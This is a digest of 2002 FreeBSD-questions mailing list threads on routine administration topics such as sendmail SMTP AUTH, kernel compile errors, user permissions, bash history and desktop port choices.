> On Mon, 29 Jul 2002, Christopher J. Umina wrote:
>
> > Hello,
> >
> > 	I'm writing some code to pull screen names out of a log, but I
> > can't seem to figure out the regular expressions to get it done.  If you
> > want to see the log file it's at:
> > http://216.164.225.145:81/~uminac/mp3/logs/master
> > 	What I've been looking to make the script do is just list the
> > screen names without the brackets, that's all.  For instance:
> > kelzy16
> > cc skillet
> > ccgirl436
> > ccgirl436
> > meikman99
> > bctictac8
>
> Exactly which combination of metacharacters, regular expressions and
> commands depends on what you are attempting to accomplish in your script
> apart from isolating the usernames and by what means, but as a general
> example:
>
> cat master | sed -n 's/.*\[\(.*\)\].*/\1/p'
>
> should get you near or in the ballpark.
>
> Cheers,
>
> Viktor
>
>


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From owner-freebsd-questions  Mon Jul 29 14:45:16 2002
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Date: Mon, 29 Jul 2002 14:43:29 -0700
From: Derrick MacPherson <dmacpher@vfs.com>
Subject: Question regarding user accounts - moving to a DB,
 interaction with other systems, etc
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I am looking at moving my current user accounts (~2500) from the
traditional /etc/master.passwd (users have a shell that tells them they
are not allowed to access trough the terminal, only through webmail
(squirrelmail and exim as the MTA). I would like to move all but a small
number of administrator accounts into a database. I would like to be
able to

At least store real names, email/login name, and passwords. I am hoping
to maybe also hold quota data, there would be probably only 2 or 3
different sizes of quotas, is this info able to be held in a DB? I
believe I can do the webmail (apache) authentication to the DB, and the
email accounts (MTA). I should then be able as well to setup SMTP Auth
using this as well. One of the big 'I doubt I can do it, and even if I
could, I don't think it's wise' bonus's would be EITHER to use this DB
as authentication for ANOTHER server, that is just used for FTP/HTTP
accounts for users. and the 'yeah right, jeez the weed is good in
Vancouver' job would be: is it possible to have user account (username,
real name and password) info be taken from a W2K server? (active
Directory is LDAP I believe, but I don't work with W2K that much) at
least initially, reason is that as it stands now, the poor schmuck that
has to create the user accounts, has to do them on three different
machines (webmail, FTP, W2K)...

Other than the last couple dreams/nightmares I mentioned at the end
there, is there some suggestions for a way to convert the current user
accounts into a DB? Anything here that reeks of stupidity or is there
some info somewhere that is out there that someone has something like
this done, or similar?

Thanks people, I do realize the last couple points might be stretching
it a bit, but what the hell, if I am going to be pulling rabbits out of
hats, I might as well ask if it can be a Volkswagen Rabbit. :)


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From owner-freebsd-questions  Mon Jul 29 14:50:51 2002
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Now I feel terriable about having graduated from MSU.  ;-|

Tim

On Mon, Jul 29, 2002 at 05:12:41PM -0400, JWright295@aol.com wrote:
> To whom it may concern:
> 
> I am the President of ACM at Mississippi State University. I would like to 
> invite someone from your company to do a presentation at MSU for ACM. The 
> topic of the presentation would be up to the presenter, but we would be 
> interested in any presentation on any of the following topics:
> 
>     1. Linux Installation (one of the main barriers keeping people from using 
> Linux)
>     2. Advanced Linux Operations
>     3. Programming in Linux
>     4. Networking Linux boxes
> 
> If no one from your company is available to do a presentation, I will 
> probably do the presentation myself on Linux installation. However, more 
> people would come if you have a representative from your company doing the 
> presentation.
> 
> If I do the presentation myself, I would appreciate it if you could send some 
> "Powered By Linux" stickers and Linux installation CDs.
> 
> Thank you.
> 
> Sincerely,
> 
> James Wright
> ACM President
> P.O. Box 6991
> MSU, MS 39762

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Does anyone know any good music players (mp3, wav, etc.) for window manager?

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From owner-freebsd-questions  Mon Jul 29 14:59: 9 2002
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Date: Mon, 29 Jul 2002 17:58:59 -0400 (EDT)
Subject: Re: Allowing controlled relay with sendmail.
From: "Mike" <root@unixhideout.com>
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I know there's a way to do this. I just found it on google. I run
everything myself. (which is why things dont break, and when they do i
only blame myself.)  Wouldnt have it any other way. Im going to setup smtp
auth. If you only store their email, and dont allow them to send email
thru your server, your not a mail server in my eyes. Your a storage bin. I
dont know, why setup half a mail server? Kinda takes the fun away no? Not
to mention i have to explain to a few thousand people to set their clients
up that way? What about the ones that are on crappy isps that dont let
them use mail which is why they come to me in the first place. I might be
wrong but i find it absurd to go through all the trouble of setting up
mail and not letting them send email. You dont have a static ip but i do,
and 4 domains to boot. hehe, I appreciate your advice but i have found
other methods. And i dont understand this:

 "I do believe you will be fighting a losing battle against spam if you
allow you SMTP server to accept connections from users who don't have
fixed IP addresses themselves."

Thats why i asked for allowing "controlled" relay with sendmail. How is
that a spam security issue? smtp_auth will require a user and password
before they send. Am i missing something?



> You don't need users to able to send using your server in order for you
> operate as a mail server on their behalf, you are simply storing the
> mail for them until the collect it.
>
> All my domains are currently hosted by other companies, but none of the
> provide me with an outgoing server.  I accept this as I don't have a
> fixed IP address so it would be very difficult (if not impossible) for
> them to secure their SMTP server from spam.
>
> What I do however is have my incoming mail server set to the company
> hosting my domain, but my Outgoing is set to whichever ISP I am
> connected to at the time.
>
> This has also meant that before I got my own domain name I was able to
> continue sending mail using addresses from previous ISP's even though I
> was no longer connecting with them.
>
> I do believe you will be fighting a loosing battle against spam if you
> allow you SMTP server to accept connections from users who don't have
> fixed IP addresses themselves.
>
> I hope this helps to clarify my points for you.
>
> Regards
>
> Lee
>
>
> ----- Original Message -----
> From: "Mike" <root@unixhideout.com>
> To: <lee@unassemble.co.uk>
> Sent: Monday, July 29, 2002 8:50 PM
> Subject: Re: Allowing controlled relay with sendmail.
>
>
>> How am i an email server if they cant send mail using my servers. I
>> forgive you, you missed the point. By a loooongshot. lol. Thanks for
>> the attempt though. I appreciate it. The users are all over the world.
>>
>>
>> > Forgive me if I am missing the point, but are these users on your
>> own network.  I am guessing no?
>> >
>> > In which case why don't you simply get your users to only receive
>> mail from your server and send using the outgoing server of their
>> own ISP?
>> >
>> > Sorry if I am not understanding your network setup correctly.
>> >
>> > Regards
>> >
>> > Lee
>> > ----- Original Message -----
>> > From: "Mike" <root@unixhideout.com>
>> > To: <freebsd-questions@freebsd.org>
>> > Sent: Monday, July 29, 2002 8:06 PM
>> > Subject: Allowing controlled relay with sendmail.
>> >
>> >
>> >> Alrighty. I run free email for my website. I know how to allow just
>> my domains in /etc/mail/access and stop spammers and open relay and
>> all those losers. The problem is, i now have a flood of users and i
>> cannot add them all to the access list. This isnt out of laziness
>> as i could easily have the existing perl script that adds them
>> automatically to the core os, look up their domain and add them to
>> the access list. The problem is there ips change. I need something
>> that says "as long as they provide their existing and correct user
>> and password, they can use unixhideout to send mail." Someone
>> posted about this before, but i had other things going on so i
>> couldnt learn from it. I should have saved it, but i didnt. so in
>> closing, sorry for remaking the wheel on this thread, and thanks
>> for any help i recieve. I am off to
>> >> google.com!
>> >>
>> >>
>> >> --
>> >>
>> >> The unixhideout network
>> >> http://www.unixhideout.com
>> >>
>> >>
>> >> -----------------------------------------
>> >> Free email that kicks ass from UnixHideout
>> >>    "The UnixHideout network"
>> >> http://www.unixhideout.com/
>> >>
>> >>
>> >>
>> >> To Unsubscribe: send mail to majordomo@FreeBSD.org
>> >> with "unsubscribe freebsd-questions" in the body of the message
>>
>>
>> --
>>
>> The unixhideout network
>> http://www.unixhideout.com
>>
>>
>> -----------------------------------------
>> Free email that kicks ass from UnixHideout
>>    "The UnixHideout network"
>> http://www.unixhideout.com/


-- 

The unixhideout network
http://www.unixhideout.com


-----------------------------------------
Free email that kicks ass from UnixHideout
   "The UnixHideout network"
http://www.unixhideout.com/



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From owner-freebsd-questions  Mon Jul 29 15:14:40 2002
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Subject: 4.6 Kernel Will Not Compile
To: freebsd-questions@freebsd.org
Date: Mon, 29 Jul 2002 18:14:34 -0400 (EDT)
From: "Nathan Coraor" <nate@cse.psu.edu>
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Hi,

I've recently installed FreeBSD on an older machine of mine, and the
GENERIC kernel works fine, but when I try to compile a new kernel, it
stops with the following errors:

cc -c -O -pipe  -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes  -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual  -fformat-extensions -ansi  -nostdinc -I- -I. -I/usr/src/sys -I/usr/src/sys/../include -I/usr/src/sys/contrib/ipfilter  -D_KERNEL -include opt_global.h -elf  -mpreferred-stack-boundary=2  /usr/src/sys/kern/sys_generic.c
{standard input}: Assembler messages:
{standard input}:1598: Error: missing or invalid immediate expression `' taken as 0
{standard input}:1598: Error: suffix or operands invalid for `and'
*** Error code 1

I'm not sure where to start looking... I've checked my config for
anything out of the ordinary, and any kind of docs online explaining
this problem but haven't found anything.  Here's my system info in case
it's related to that:

CPU: AMD-K6tm w/ multimedia extensions (200.46-MHz 586-class CPU)
  Origin = "AuthenticAMD"  Id = 0x561  Stepping = 1
  Features=0x8001bf<FPU,VME,DE,PSE,TSC,MSR,MCE,CX8,MMX>
  AMD Features=0x400<<b10>>

64MB RAM, a couple of IDE disks.  It's a fairly standard PC.

Thanks in advance,
--nate

--------
nathan coraor
nate@cse.psu.edu

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From owner-freebsd-questions  Mon Jul 29 15:31:22 2002
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To: Nathan Coraor <nate@cse.psu.edu>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: 4.6 Kernel Will Not Compile
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Nathan Coraor wrote:

> Hi,
> 
> I've recently installed FreeBSD on an older machine of mine, and the
> GENERIC kernel works fine, but when I try to compile a new kernel, it
> stops with the following errors:
> 
> cc -c -O -pipe  -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes  -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual  -fformat-extensions -ansi  -nostdinc -I- -I. -I/usr/src/sys -I/usr/src/sys/../include -I/usr/src/sys/contrib/ipfilter  -D_KERNEL -include opt_global.h -elf  -mpreferred-stack-boundary=2  /usr/src/sys/kern/sys_generic.c
> {standard input}: Assembler messages:
> {standard input}:1598: Error: missing or invalid immediate expression `' taken as 0
> {standard input}:1598: Error: suffix or operands invalid for `and'
> *** Error code 1
> 
> I'm not sure where to start looking... I've checked my config for
> anything out of the ordinary, and any kind of docs online explaining
> this problem but haven't found anything.  Here's my system info in case
> it's related to that:


For starters, did you convert a current GENERIC into your new kernel 
config. Options have changed.

Kent


> 
> CPU: AMD-K6tm w/ multimedia extensions (200.46-MHz 586-class CPU)
>   Origin = "AuthenticAMD"  Id = 0x561  Stepping = 1
>   Features=0x8001bf<FPU,VME,DE,PSE,TSC,MSR,MCE,CX8,MMX>
>   AMD Features=0x400<<b10>>
> 
> 64MB RAM, a couple of IDE disks.  It's a fairly standard PC.
> 
> Thanks in advance,
> --nate


-- 
Kent Stewart
Richland, WA

http://users.owt.com/kstewart/index.html


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From owner-freebsd-questions  Mon Jul 29 15:33:18 2002
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Subject: Re: 4.6 Kernel Will Not Compile
To: kstewart@owt.com (Kent Stewart)
Date: Mon, 29 Jul 2002 18:33:13 -0400 (EDT)
From: "Nathan Coraor" <nate@cse.psu.edu>
Cc: freebsd-questions@FreeBSD.ORG
In-Reply-To: <3D45C236.2010603@owt.com> from "Kent Stewart" at Jul 29, 2002 03:31:18 PM
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"Kent Stewart" said:
> 
> 
> 
> Nathan Coraor wrote:
> 
> > Hi,
> > 
> > I've recently installed FreeBSD on an older machine of mine, and the
> > GENERIC kernel works fine, but when I try to compile a new kernel, it
> > stops with the following errors:
> > 
> > {standard input}: Assembler messages:
> > {standard input}:1598: Error: missing or invalid immediate expression `' taken as 0
> > {standard input}:1598: Error: suffix or operands invalid for `and'
> > *** Error code 1
> > 
> > I'm not sure where to start looking... I've checked my config for
> > anything out of the ordinary, and any kind of docs online explaining
> > this problem but haven't found anything.  Here's my system info in case
> > it's related to that:
> 
> 
> For starters, did you convert a current GENERIC into your new kernel 
> config. Options have changed.
> 
> Kent
> 


Yes.  I used the one that came with the 4.6 dist.

--nate

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From owner-freebsd-questions  Mon Jul 29 15:50:49 2002
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From: robert Backhaus <robbakfreebsd@yahoo.co.uk>
Subject: Re: 4.6 Kernel Will Not Compile
To: Nathan Coraor <nate@cse.psu.edu>, freebsd-questions@freebsd.org
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--- Nathan Coraor <nate@cse.psu.edu> wrote:
> Hi,
> 
> I've recently installed FreeBSD on an older machine
> of mine, and the
> GENERIC kernel works fine, but when I try to compile
> a new kernel, it
> stops with the following errors:
> 
> cc -c -O -pipe  -Wall -Wredundant-decls
> -Wnested-externs -Wstrict-prototypes 
> -Wmissing-prototypes -Wpointer-arith -Winline
> -Wcast-qual  -fformat-extensions -ansi  -nostdinc
> -I- -I. -I/usr/src/sys -I/usr/src/sys/../include
> -I/usr/src/sys/contrib/ipfilter  -D_KERNEL -include
> opt_global.h -elf  -mpreferred-stack-boundary=2 
> /usr/src/sys/kern/sys_generic.c
> {standard input}: Assembler messages:
> {standard input}:1598: Error: missing or invalid
> immediate expression `' taken as 0
> {standard input}:1598: Error: suffix or operands
> invalid for `and'
> *** Error code 1

These look very much like the problems I had when
compiling on my Cyrix6x86 "chip frier", whih I just
put down to a teh flaky chip. (compiling stable as of
a few months back). I did the configure, then mounted
/usr on another box (Athlon 1400) and did the compile
there without problems. Then it's back to the old box
for the make install.
I would think that a K62 would be a better chip,
though.
> 
> I'm not sure where to start looking... I've checked
> my config for
> anything out of the ordinary, and any kind of docs
> online explaining
> this problem but haven't found anything.  Here's my
> system info in case
> it's related to that:
> 
> CPU: AMD-K6tm w/ multimedia extensions (200.46-MHz
> 586-class CPU)
>   Origin = "AuthenticAMD"  Id = 0x561  Stepping = 1
>  
>
Features=0x8001bf<FPU,VME,DE,PSE,TSC,MSR,MCE,CX8,MMX>
>   AMD Features=0x400<<b10>>
> 
> 64MB RAM, a couple of IDE disks.  It's a fairly
> standard PC.
> 
> Thanks in advance,
> --nate
> 
> --------
> nathan coraor
> nate@cse.psu.edu
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of
> the message


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On Mon, 29 Jul 2002, Mike wrote:

> Thats why i asked for allowing "controlled" relay with sendmail. How is
> that a spam security issue? smtp_auth will require a user and password
> before they send. Am i missing something?
>

SMTP AUTH would work.

There are also some ways of doing "POP befoe SMTP", where it will not
allow you to send mail until you sucessfully complete a POP3 session.
That is kind of messy.

Keep in mind that by opening up your mail server to let users from other
ISPs relay through you, you are becoming an open relay yourself.

Also, a lot of ISPs do not allow customers to use SMTP servers on
anothe network.  Bell Sympatico appears to block un-established outbound
port 25 packets on their border routers.  UUNet has access lists applied
to their NASes.  AOL redirects any outbound port 25 packets to their own
SMTP server.  Basically, anyone that is on an ISP doing these kinds of
things will not be able to connect to your mail server for SMTP at all,
even if you do use SMTP AUTH.

Might be something to keep in mind.


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From owner-freebsd-questions  Mon Jul 29 16:41:16 2002
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Alright guys i'll take your well proven advice. They will have to use the
webmail we provide or setup their clients to send their own mail via their
isp. I am not allowing an open relay. No way.  One thing im confused on
still. You said
>Keep in mind that by opening up your mail server to let users from other
>ISPs relay through you, you are becoming an open relay yourself.

How am i an open relay if i am requiring auth before sending?

This is just sad. The internet used to be such a nice place. Then the
pinheads arrived. Im so limited to what i can do with my site/servers
because of people with no respect for other people's property. What ever
happened to if it's not yours dont touch it? =]


> On Mon, 29 Jul 2002, Mike wrote:
>
>> Thats why i asked for allowing "controlled" relay with sendmail. How
>> is that a spam security issue? smtp_auth will require a user and
>> password before they send. Am i missing something?
>>
>
> SMTP AUTH would work.
>
> There are also some ways of doing "POP befoe SMTP", where it will not
> allow you to send mail until you sucessfully complete a POP3 session.
> That is kind of messy.
>
>
>
> Also, a lot of ISPs do not allow customers to use SMTP servers on
> anothe network.  Bell Sympatico appears to block un-established outbound
> port 25 packets on their border routers.  UUNet has access lists applied
> to their NASes.  AOL redirects any outbound port 25 packets to their own
> SMTP server.  Basically, anyone that is on an ISP doing these kinds of
> things will not be able to connect to your mail server for SMTP at all,
> even if you do use SMTP AUTH.
>
> Might be something to keep in mind.


-- 

The unixhideout network
http://www.unixhideout.com


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From owner-freebsd-questions  Mon Jul 29 16:43:23 2002
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history | grep whatevercommandyourlookingfor



Cheers,
Eric

-----Original Message-----
From: karl agee [mailto:kdagee@attglobal.net]
Sent: Monday, July 29, 2002 2:01 PM
To: freebsd-questions; Tri-Cities Linux User Group
Subject: parsing a bash history


Is there any way to parse a bash command history file (w/o scrolling) to
find **that one
command** you did????

--karl




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From owner-freebsd-questions  Mon Jul 29 16:47:18 2002
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--- Mike <root@unixhideout.com> wrote:
> Alright guys i'll take your well proven advice. They
> will have to use the
> webmail we provide or setup their clients to send
> their own mail via their
> isp. I am not allowing an open relay. No way.  One
> thing im confused on
> still. You said
> >Keep in mind that by opening up your mail server to
> let users from other
> >ISPs relay through you, you are becoming an open
> relay yourself.
> 
> How am i an open relay if i am requiring auth before
> sending?
> 
> This is just sad. The internet used to be such a
> nice place. Then the
> pinheads arrived. Im so limited to what i can do
> with my site/servers
> because of people with no respect for other people's
> property. What ever
> happened to if it's not yours dont touch it? =]
> 
> 
4 words - script kiddies warez d00ds :-(

__________________________________________________
Do You Yahoo!?
Yahoo! Health - Feel better, live better
http://health.yahoo.com

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From owner-freebsd-questions  Mon Jul 29 17: 7:11 2002
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From: Greg 'groggy' Lehey <grog@FreeBSD.org>
To: Ganesh Kumar <alganesh@m-net.arbornet.org>
Cc: freebsd-questions@freebsd.org
Subject: Re: Hi ! would like to start a BSD group in Chennai,India !
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[Format recovered--see http://www.lemis.com/email/email-format.html]

Single line paragraphs.

On Monday, 29 July 2002 at  3:57:07 -0400, Ganesh Kumar wrote:
> Hi Folks,
>   I work as FreeBSD admin in a company in chennai,India and would
> like to start a group here exclusively for FreeBSD.There are lots of
> groups exist,but they are all for Linux.
>
> Initially we have the latest Cds and would like to circulate among
> friends and organise meetings on relgular intervals at later stage.
>
> I would like to know a few things before that...
>
>
> * For the mailing list is it a good idea to start with Yahoogroups ?
> or can anyone suggest me a good list ?

It would be nice to host it on a FreeBSD machine.  Also, if network
connectivity in Chennai is anything like it was when I was there two
years ago, it would be good to have the list hosted locally.

> * Will the FreeBSD group point in.freebsd.org to our address at
> later stage ?

Once you have set things up, take a look at
http://www.freebsd.org/support.html#user, send me HTML about your
group, and I'll put it in there.  This goes for other groups too, of
course.

Greg
--
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From owner-freebsd-questions  Mon Jul 29 17:26:20 2002
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Subject: Re: Dear FreeBSD,
References: <17.2bf3c52f.2a7709c9@aol.com>
From: Ken McGlothlen <mcglk@artlogix.com>
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JWright295@aol.com writes:

| To whom it may concern:
| I am the President of ACM at Mississippi State University. I would like to
| invite someone from your company to do a presentation at MSU for ACM. The
| topic of the presentation would be up to the presenter, but we would be
| interested in any presentation on any of the following topics:
| 1. Linux Installation (one of the main barriers keeping people from using
| Linux)
| 2. Advanced Linux Operations
| 3. Programming in Linux
| 4. Networking Linux boxes
| If no one from your company is available to do a presentation, I will probably
| do the presentation myself on Linux installation. However, more people would
| come if you have a representative from your company doing the presentation.
| If I do the presentation myself, I would appreciate it if you could send some
| "Powered By Linux" stickers and Linux installation CDs.
| Thank you.
| Sincerely,
| James Wright
| ACM President
| P.O. Box 6991
| MSU, MS 39762

My dear James:

First, congratulations on your appointment as President of ACM's MSU chapter.

It concerns me that you may have been misinformed about what FreeBSD is.  While
I do not speak for the organization proper (such as it is), please allow me to
try to correct these misapprehensions.

     *  FreeBSD is not a company per se.  It is an open-source operating
        system, supported by organizations such as the FreeBSD Foundation and
        others.  In and of itself, it does not have the resources to provide
        for presentations.  However, there may be a local FreeBSD administrator
        in your area that might be willing to help.  If there's one on the list
        who's willing, he or she might speak up; otherwise, we can't really
        help you.

     *  FreeBSD is not Linux.  Linux is an entirely different operating
        system.  Linux and FreeBSD share a heritage and a lot of software (as
        do other Unix-style operating systems such as OpenBSD, NetBSD, Solaris,
        and so forth), but they are very different.  FreeBSD's heritage is
        based on the Berkeley System Distribution of Bell Labs's UNIX; Linux
        was written by a loose confederation led by Linus Torvalds.

     *  We have no "Powered by Linux" or Linux installation CDs to offer,
        because as I said, FreeBSD is not a Linux-based operating system.

I'm sure we wish you the best of luck on your presentation, and we hope that at
some point, you take a look at FreeBSD in greater depth.

Thanks for writing.


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From owner-freebsd-questions  Mon Jul 29 17:39: 0 2002
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Subject: Installing mod_perl 1.27 with Apache 2 from ports
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I installed apache a few weeks ago with no problems but I can't seem to get
mod_perl installed. I am using the ports method, make install but I am
getting error's. I am about to try from scratch and see if that works but
before I do that, is there something I have to install or should everything
work smoothly?


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From owner-freebsd-questions  Mon Jul 29 17:49:46 2002
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Subject: Directory Permissons Problem
Date: Mon, 29 Jul 2002 20:49:41 -0400
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Hi all, 

I'm using FreeBSD 4.5-RELEASE.  My "/usr" file system is ufs.  I have tried 
and tried to get a user permissions on a second user's home directory.  I 
have added the problem user and other users to the proper group in the 
"/etc/group" file.  The other users can use files out the the second 
person's home directory, the problem user cannot!  I've checked spelling, 
changed the order of users in the group,  removed and re-added the user, 
even with different "uid"s and "gid"s and nothing.  That might be a little 
unclear. 

#
# /etc/group
#
. . .
seconduser:*:1020:problemuser,gooduser1,gooduser2
. . .
#
# end group file
# 

cd /usr/home
ls -l s*
 -rwxrwx--- . . . seconduser 


gooduser1 and gooduser2 can access "/usr/home/seconduser", problemuser 
cannot!! 


Any ideas?

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From owner-freebsd-questions  Mon Jul 29 18:13:55 2002
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Subject: Re: Hi ! would like to start a BSD group in Chennai,India !
From: karl agee <kdagee@attglobal.net>
To: Greg 'groggy' Lehey <grog@FreeBSD.org>
Cc: Ganesh Kumar <alganesh@m-net.arbornet.org>,
	freebsd-questions <FreeBSD-Questions@FreeBSD.ORG>
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On Mon, 2002-07-29 at 17:07, Greg 'groggy' Lehey wrote:
> [Format recovered--see http://www.lemis.com/email/email-format.html]
> 
> Single line paragraphs.
> 
> On Monday, 29 July 2002 at  3:57:07 -0400, Ganesh Kumar wrote:
> > Hi Folks,
> >   I work as FreeBSD admin in a company in chennai,India and would
> > like to start a group here exclusively for FreeBSD.There are lots of
> > groups exist,but they are all for Linux.
 
also, there is a user group HOW-To for linux you might want to refer
to.  

--karl


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From owner-freebsd-questions  Mon Jul 29 18:14:16 2002
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karl agee wrote:
> Is there any way to parse a bash command history file (w/o scrolling) to find **that one
> command** you did????
> 
> --karl
> 
> 
> 
> 
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If youre using bash try pressing Ctrl+r and type the first 
letters in the command youre searching for.

--
R



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From owner-freebsd-questions  Mon Jul 29 18:24:42 2002
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Subject: blow it away??
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Hey wizards, I am thnking of blowing away my /usr/src in this -current
install of mine and replacing it with the 5.0-DP1 /usr/src so I can
build a new kernel....I'm finding the current -current is a little
buggy.  I've got the latest /usr/src copied onto cd...

is this feasible or will I break everything when I try to compile it??? 

Do I have to build a new world???

--karl




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From owner-freebsd-questions  Mon Jul 29 18:35: 6 2002
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From: Ed Yu <edlyu@yahoo.com>
Subject: what is in control of cd-rom drive?
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I have been having cd-rom eject problems. I know that
I cannot eject my cd-rom drive when it is mounted but
even when it is not mounted I sometimes (that's the
weird part) cannot eject it. I know that I have
several programs that might be the culprit but I
cannot be sure. They are 'wmcdplay' and 'amd'. Is
there a way to check and figure out what program at
anypoint is in control of the cd-rom drive that is
refusing to allow it to be ejected?

thank you,
ed


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From owner-freebsd-questions  Mon Jul 29 18:40:12 2002
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From: Ed Yu <edlyu@yahoo.com>
Subject: disable x authorization?
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In my user session, when I su to root and invoke any x
program, I get "Xlib: connection to "xxxx:0.0" refused
by server. Xlib: No protocol specified. Xlib: Clint is
not authorized to connect to server." I can xhost + to
make it work. But, since I work on my own local
computer, is there a  way to disable the authorization
so I don't have to type xhost+ everytime or even
better a way to selectively disable authorization?

thank you
ed


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From owner-freebsd-questions  Mon Jul 29 18:42:13 2002
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From: Ed Yu <edlyu@yahoo.com>
Subject: Re: Directory Permissons Problem
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what does 'groups' say when you are problemuser? Does
it actually include the 'seconduser' group?

ed

--- Daniel Auman <dauman@pcsinconline.com> wrote:
> Hi all, 
> 
> I'm using FreeBSD 4.5-RELEASE.  My "/usr" file
> system is ufs.  I have tried 
> and tried to get a user permissions on a second
> user's home directory.  I 
> have added the problem user and other users to the
> proper group in the 
> "/etc/group" file.  The other users can use files
> out the the second 
> person's home directory, the problem user cannot! 
> I've checked spelling, 
> changed the order of users in the group,  removed
> and re-added the user, 
> even with different "uid"s and "gid"s and nothing. 
> That might be a little 
> unclear. 
> 
> #
> # /etc/group
> #
> . . .
> seconduser:*:1020:problemuser,gooduser1,gooduser2
> . . .
> #
> # end group file
> # 
> 
> cd /usr/home
> ls -l s*
>  -rwxrwx--- . . . seconduser 
> 
> 
> gooduser1 and gooduser2 can access
> "/usr/home/seconduser", problemuser 
> cannot!! 
> 
> 
> Any ideas?
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of
> the message


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From owner-freebsd-questions  Mon Jul 29 18:43:24 2002
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From: Ed Yu <edlyu@yahoo.com>
Subject: Re: Issues With X Windows
To: Ben Shin <bshin2000@hotmail.com>, freebsd-questions@FreeBSD.ORG
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what's the permission on that log file?

-ed

--- Ben Shin <bshin2000@hotmail.com> wrote:
> I tried to start x windows using a non-root account.
>  However, I got a fatal 
> error message saying I cannot open a log file. I can
> startx as root.  How 
> can I fix this mistake?
> 
>
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From owner-freebsd-questions  Mon Jul 29 18:56:35 2002
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Date: Mon, 29 Jul 2002 21:56:29 -0400
From: Jud <jud@myrealbox.com>
To: Greg 'groggy' Lehey <grog@lemis.com>
Cc: Hostmaster@Video2Video.Com, mwvw@adelphia.net,
	FreeBSD-Questions@FreeBSD.Org
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On Sun, 28 Jul 2002 12:00:16 +0930
Greg 'groggy' Lehey <grog@lemis.com> wrote:

[snip]
>The real
> problem I have is knowing which of the over 7,000 ports you want
> to install to get "basic" desktop functionality.  Some time ago
> I created the "instant-workstation" port, but didn't make much
> noise about it.  instant-workstation basically installs a number
> of dependent ports (see below for a list) and then does some
> minor configuration.  Over the past couple of days I've been
> installing a brand new machine (laptop) for a friend, and I've
> been looking at the rough edges.  Here's what I've found:
> 
> 1.  Some of the dependent ports don't build cleanly.  This
> obviously
>     requires some attention.
> 2.  "instant" is a misnomer, at least if you build from source. 
> I'm
>     building on a Dell Inspiron 7500 with a 600 MHz processor,
>     and it takes over 12 hours.
> 3.  Once it's built, it works "out of the box".  I've installed
> the
>     XFree86 4 port, and installation is really nothing more than
>     this:
> 
>     # X -configure
>     # mv /root/XF86Config.new /etc
>     # echo exec kdestart > ~me/.xinitrc
> 
>     You can then run startx or xdm and end up in a relatively
>     complete kde environment.
> 
> So what's in instant-workstation?  Currently I have:
> 
> 	acroread
> 	bash
> 	cdrecord
> 	dos2unix
> 	emacs
> 	fetchmail
> 	gs
> 	grip
> 	gimp
> 	gv
> 	gpg
> 	ispell
> 	startkde
> 	mkisofs
> 	mount_smbfs
> 	mutt
> 	netscape
> 	xtset
> 	xmms
> 	xv
> 
> My questions to you: is there anything missing?  Has anybody
> tried instant-workstation?  I'd be interested in suggestions
> about how to improve it.
> 
> Greg

I haven't tried instant-workstation, so of course I'll rush in
where angels fear to tread.

One of the instant-workstation ports I have not tried is mutt,
though I've read much praise for it and no negatives that I can
recall.  I wonder, though, whether a gui mail application might be
a good choice for this "target market," in addition to, instead
of, or as another choice besides mutt.  Sylpheed happens to be
the one I prefer, and it seems to be well liked by many other
users.  Speaking as someone who didn't know a thing about Unix a
couple of years ago (and hasn't improved on the situation all that
much since:), it was very easy to learn.

Another place where options might be appreciated is browsers -
perhaps Galeon, Opera, Mozilla?  And Lynx I think is excellent for
getting around on the Net at times when one doesn't want to or
can't be in X.

Perhaps that's taken care of by w3m (I don't remember ATM whether
that's part of the default emacs install)?  That brings me to my
last and likely most controversial thought.  Emacs does everything
but bake blueberry muffins, but it might be more intimidating (or
puzzling - took me awhile just to understand what "M-x"
meant) than useful to someone fairly new to Unix.  It does take a
while to build and install (and download, for those of us on
dial-ups).  And the configuration options! - not exactly
'instant.'  If it's part of the install, it seems to me users will
try it, and may wind up thinking "Jeez, this stuff is hard" as a
first impression of FreeBSD.

HTH,

Jud

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From owner-freebsd-questions  Mon Jul 29 19:16:18 2002
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From: Ed Yu <edlyu@yahoo.com>
Subject: Re: What do we need in a FreeBSD desktop? (was: Peter heads back to M$FT WinBloze [support groups])
To: Jud <jud@myrealbox.com>, Greg 'groggy' Lehey <grog@lemis.com>
Cc: Hostmaster@Video2Video.Com, mwvw@adelphia.net,
	FreeBSD-Questions@FreeBSD.Org
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I have used mutt and I liked it but I think for
instant-workstation, evolution would be more
appropriate. I have noticed also that new users seems
to prefer galeon a lot as well.

-ed

--- Jud <jud@myrealbox.com> wrote:
> On Sun, 28 Jul 2002 12:00:16 +0930
> Greg 'groggy' Lehey <grog@lemis.com> wrote:
> 
> [snip]
> >The real
> > problem I have is knowing which of the over 7,000
> ports you want
> > to install to get "basic" desktop functionality. 
> Some time ago
> > I created the "instant-workstation" port, but
> didn't make much
> > noise about it.  instant-workstation basically
> installs a number
> > of dependent ports (see below for a list) and then
> does some
> > minor configuration.  Over the past couple of days
> I've been
> > installing a brand new machine (laptop) for a
> friend, and I've
> > been looking at the rough edges.  Here's what I've
> found:
> > 
> > 1.  Some of the dependent ports don't build
> cleanly.  This
> > obviously
> >     requires some attention.
> > 2.  "instant" is a misnomer, at least if you build
> from source. 
> > I'm
> >     building on a Dell Inspiron 7500 with a 600
> MHz processor,
> >     and it takes over 12 hours.
> > 3.  Once it's built, it works "out of the box". 
> I've installed
> > the
> >     XFree86 4 port, and installation is really
> nothing more than
> >     this:
> > 
> >     # X -configure
> >     # mv /root/XF86Config.new /etc
> >     # echo exec kdestart > ~me/.xinitrc
> > 
> >     You can then run startx or xdm and end up in a
> relatively
> >     complete kde environment.
> > 
> > So what's in instant-workstation?  Currently I
> have:
> > 
> > 	acroread
> > 	bash
> > 	cdrecord
> > 	dos2unix
> > 	emacs
> > 	fetchmail
> > 	gs
> > 	grip
> > 	gimp
> > 	gv
> > 	gpg
> > 	ispell
> > 	startkde
> > 	mkisofs
> > 	mount_smbfs
> > 	mutt
> > 	netscape
> > 	xtset
> > 	xmms
> > 	xv
> > 
> > My questions to you: is there anything missing? 
> Has anybody
> > tried instant-workstation?  I'd be interested in
> suggestions
> > about how to improve it.
> > 
> > Greg
> 
